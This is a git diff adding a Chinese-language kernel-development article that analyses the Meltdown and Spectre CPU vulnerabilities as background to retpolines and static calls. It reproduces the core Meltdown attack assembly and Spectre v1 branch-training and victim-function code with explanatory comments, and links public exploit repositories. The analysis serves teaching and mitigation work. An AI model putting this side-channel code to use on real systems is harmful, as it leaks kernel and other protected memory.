diff --git a/articles/20221031-static-call-part1-meltdown-and-spectre.md b/articles/20221031-static-call-part1-meltdown-and-spectre.md
new file mode 100644
index 0000000000000000000000000000000000000000..8d89abef86072a1cfd172332a3ef02b730330449
--- /dev/null
+++ b/articles/20221031-static-call-part1-meltdown-and-spectre.md
@@ -0,0 +1,193 @@
+> Corrector: [TinyCorrect](https://gitee.com/tinylab/tinycorrect) v0.1 - [header epw]
+> Author: 牛工 - 通天塔 985400330@qq.com
+> Date: 2022/10/31
+> Revisor: Falcon ; iOSDevLog
+> Project: [RISC-V Linux 内核剖析](https://gitee.com/tinylab/riscv-linux)
+> Proposal: [【老师提案】Static Call 技术分析与 RISC-V 移植 · Issue #I5Y585 · 泰晓科技/RISCV-Linux - Gitee.com](https://gitee.com/tinylab/riscv-linux/issues/I5Y585)
+> Sponsor: PLCT Lab, ISCAS
+
+# Meltdown 和 Spectre
+
+## 前言
+
+在文章 [20221020-missing-features-tools-for-riscv-part2.md][004] 中,提到了 RISC-V 架构下缺失的内核功能:Avoiding retpolines with static calls。
+
+该功能的提出,是有历史原因的:
+
+- 2018 年发现漏洞 Meltdown 和 Spectre
+- 谷歌提出 Retpolines 解决了这个安全问题,但引入了 4% 的性能影响
+- 开发者们不断寻求解决方法:[Relief for retpoline pain][002]
+- 2020 年使用 static calls 方法避免使用 retpolines,性能影响降低至 1.6%:[Avoiding retpolines with static calls][003]
+
+本文将对漏洞 Meltdown 和 Spectre 进行分析,了解清楚漏洞原理之后,再进行后续的分析。
+
+[Meltdown and Spectre (meltdownattack.com)][005] 网址中对这两个漏洞进行了详细介绍。
+
+## Meltdown(熔毁)
+
+
+
+> Why is it called Meltdown?
+> The vulnerability basically melts security boundaries which are normally enforced by the hardware.
+
+为什么被叫做熔毁?
+
+该漏洞基本上熔化了通常由硬件强制执行的安全边界。
+
+该漏洞可以打破应用层与系统层的边界,也就是说防线被熔毁,内核的数据将被应用层获取到。
+
+相关论文:[meltdown.pdf (meltdownattack.com)][006]
+
+[Linux 下的 Meltdown 攻击实践(含代码)- 知乎(zhihu.com)][010] 这篇文章讲了利用 Meltdown 漏洞进行内核内存数据获取的方法。
+
+以 32 为操作系统为例:
+
+
+
+meltdown 漏洞,就可以让一个进程访问到内核的虚拟内存。
+
+具体原理就是利用了 CPU 的乱序执行机制、Cache 机制和异常处理机制。
+
+### 核心代码分析
+
+```c
+static void attack_core(unsigned long long target_address){
+ asm volatile(
+ ".rept 50\n\t"
+ "add $0x0, %%rax\n\t"
+ ".endr\n\t" // 给寄存器 rax 加上 50 次 0,固定 CPU 状态机的状态,与之前的各种操作做隔离
+
+ "mov $test, %%rbx\n\t" // 将数组 test 的首地址放入寄存器 rbx
+ "add $0x1000, %%rbx\n\t" // 给寄存器 rbx 加上 4096(前面留出 1 段空间用作存储/地址隔离)
+
+ "xor %%rax, %%rax\n\t" // 将寄存器 rax 的 64 位数据清 0
+ "retry:\n\t" // retry 标签(用于优化 CPU 状态机中存在的“趋零固有偏向”)
+ "movb (%[address]), %%al\n\t" // 对目标地址进行非法访问,将其中的字节数据放入寄存器 al(寄存器 rax 的低 8 位)
+ "shl $0xc, %%rax\n\t" // 将寄存器 rax 左移 12 位,相当于乘上 4096
+ // (乘一个 Cache_Line 的大小,防止 CPU 的预读取功能将数据提前读出,导致后续无法通过访问时长来判断数据是否被缓存过)
+
+ "jz retry\n\t" // 寄存器 rax 为 0 时跳转至 retry 标签(用于优化 CPU 状态机中存在的“趋零固有偏向”)
+ "movq (%%rbx, %%rax, 0x1), %%rbx\n\t" // 将 rbx 数值赋值到 test[0+rax*1],此时 test[0+rax*1] 就被缓存到 L3_Cache 当中了
+
+ "TAG:" // TAG 标签,从非法访问存储器的信号处理函数中返回的跳转点
+ :
+ :[address] "r" (target_address)
+ :"rax", "rbx"
+ );
+}
+```
+
+以上攻击的核心代码中,最终 `movq (%%rbx, %%rax, 0x1), %%rbx` 会让 test 数组中的一个数据变得读取非常快。
+
+后续的工作就是遍历 test 数组,观察哪一个数据读取得非常快,就可以反推出非法读到的数据大小。
+
+流程示意图如下:
+
+
+
+## Spectre(幽灵)
+
+
+
+> Why is it called Spectre?
+> The name is based on the root cause, speculative execution. As it is not easy to fix, it will haunt us for quite some time.
+
+为什么叫幽灵?
+该名称基于根本原因,即推测执行。由于它不容易修复,它会困扰我们很长一段时间。
+
+相关论文:[spectre.pdf (spectreattack.com)][007]
+
+攻击代码例程:https://github.com/Eugnis/spectre-attack
+
+例程解析:[Into the Implementation of Spectre (fortinet.com)][008]
+
+例程的攻击方法是:
+
+- 设定一个小数组 array1,给定想要读取的地址 p,并计算出 array1 与 p 的偏移 malicious_x,正常情况下无法访问 array1[malicious_x]。
+
+- 训练 CPU 分支预测,使 CPU 习惯性地执行一个 if 分支代码,读取 array[x],然后突然更改 x 数值为 malicious_x。
+- 分支预测的漏洞就会读取 array1[malicious_x],并且缓存其数值。
+- 借助于 `array1[malicious_x]` 作为参数,读取 `array2[array1[malicious_x] * 512]`,该数值也被缓存。
+- 正常遍历 array2 数组,发现某一数值读取飞快,则该数据被缓存过,反推 array1[malicious_x] 的数值大小,从而实现破解不该被访问的内存数据。
+
+通过分析源码得到流程图如下:
+
+
+
+### 核心代码分析
+
+- 计算偏移值
+
+```c
+int main(int argc, const char* * argv)
+{
+ // secret 是我们想要访问的非法地址
+ // secret 指针-array1,计算出来 secret 在 array1 的偏移值 malicious_x。
+ size_t malicious_x = (size_t)(secret - (char *)array1);
+ ...
+ return (0);
+}
+```
+
+- 分支预测训练
+
+```c
+ for (j = 29; j >= 0; j--)
+ {
+ _mm_clflush(&array1_size); // 清除缓存数据,下次读取 array1_size 只能从 DDR 中获取
+ for (volatile int z = 0; z < 100; z++) // 延时
+ {
+ } /* Delay (can also mfence) */
+ /* 训练 CPU,使 CPU 习惯于走执行成功的分支 */
+ /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
+ /* Avoid jumps in case those tip off the branch predictor */
+ x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
+ x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */
+ x = training_x ^ (x & (malicious_x ^ training_x));
+
+ /* Call the victim! */
+ victim_function(x); //
+ }
+```
+
+- 分支代码
+
+```c
+void victim_function(size_t x)
+{
+ if (x < array1_size) // 分支区分,针对此处训练,可使 CPU 习惯于走 if(1)
+ {
+ // 缓存 array1[x] 和 array2[array1[x] * 512]
+ // 下一次访问 array2[array1[x] * 512] 将会飞快
+ // 训练成功之后,CPU 不管是否能访问 array1[x],都会将数据存在缓存中。
+ temp &= array2[array1[x] * 512];
+ }
+}
+```
+
+运行实验结果:
+
+
+
+## 小结
+
+至此完成了 meltdown 和 spectre 两大漏洞的分析,两个漏洞都是利用了 CPU 在某种情况下将访问的数据放在缓存中,然后通过侧信道获取缓存中的数据,后续将分析如何解决该漏洞。
+
+## 参考资料
+
+- [meltdown.pdf (meltdownattack.com)][006]
+- ["Meltdown"是什么?- 知乎(zhihu.com)][009]
+- [Linux 下的 Meltdown 攻击实践(含代码)- 知乎(zhihu.com)][010]
+- [spectre.pdf (spectreattack.com)][007]
+- [Example of using revealed "Spectre" exploit][011]
+- [Into the Implementation of Spectre (fortinet.com)][008]
+[002]: https://lwn.net/Articles/774743/
+[003]: https://lwn.net/Articles/815908/
+[004]: https://gitee.com/nfk1996/riscv-linux/blob/a6b5ac6a507c106bb9471cbc06f8d43e9f912411/articles/20221020-missing-features-tools-for-riscv-part2.md
+[005]: https://meltdownattack.com/
+[006]: https://meltdownattack.com/meltdown.pdf
+[007]: https://spectreattack.com/spectre.pdf
+[008]: https://www.fortinet.com/blog/threat-research/into-the-implementation-of-spectre
+[009]: https://zhuanlan.zhihu.com/p/33621030
+[010]: https://zhuanlan.zhihu.com/p/391325673
+[011]: https://github.com/Eugnis/spectre-attack
diff --git a/articles/images/static-call/image-20221031233851160.png b/articles/images/static-call/image-20221031233851160.png
new file mode 100644
index 0000000000000000000000000000000000000000..8046bb4ab2386c6f5e2fe88178a8e2d6d6f1c429
Binary files /dev/null and b/articles/images/static-call/image-20221031233851160.png differ
diff --git a/articles/images/static-call/image-20221031233914664.png b/articles/images/static-call/image-20221031233914664.png
new file mode 100644
index 0000000000000000000000000000000000000000..37126855aa6a307fcf98a46227b29ec73e2454d8
Binary files /dev/null and b/articles/images/static-call/image-20221031233914664.png differ
diff --git a/articles/images/static-call/image-20221101233857436.png b/articles/images/static-call/image-20221101233857436.png
new file mode 100644
index 0000000000000000000000000000000000000000..4e30d55eff7afb8296662b4c084186fe5f7e5be4
Binary files /dev/null and b/articles/images/static-call/image-20221101233857436.png differ
diff --git a/articles/images/static-call/image-20221102225649866.png b/articles/images/static-call/image-20221102225649866.png
new file mode 100644
index 0000000000000000000000000000000000000000..605e1aae19db79341da0e3bcc19f516e72e89d5d
Binary files /dev/null and b/articles/images/static-call/image-20221102225649866.png differ
diff --git a/articles/images/static-call/image-20221106143053720.png b/articles/images/static-call/image-20221106143053720.png
new file mode 100755
index 0000000000000000000000000000000000000000..e83b552c1e8ee3b237085734f1f173c0b67251e8
Binary files /dev/null and b/articles/images/static-call/image-20221106143053720.png differ
diff --git a/articles/images/static-call/image-20221106224159364.png b/articles/images/static-call/image-20221106224159364.png
new file mode 100755
index 0000000000000000000000000000000000000000..df9318849547d34195a874426da221f2cbfebf37
Binary files /dev/null and b/articles/images/static-call/image-20221106224159364.png differ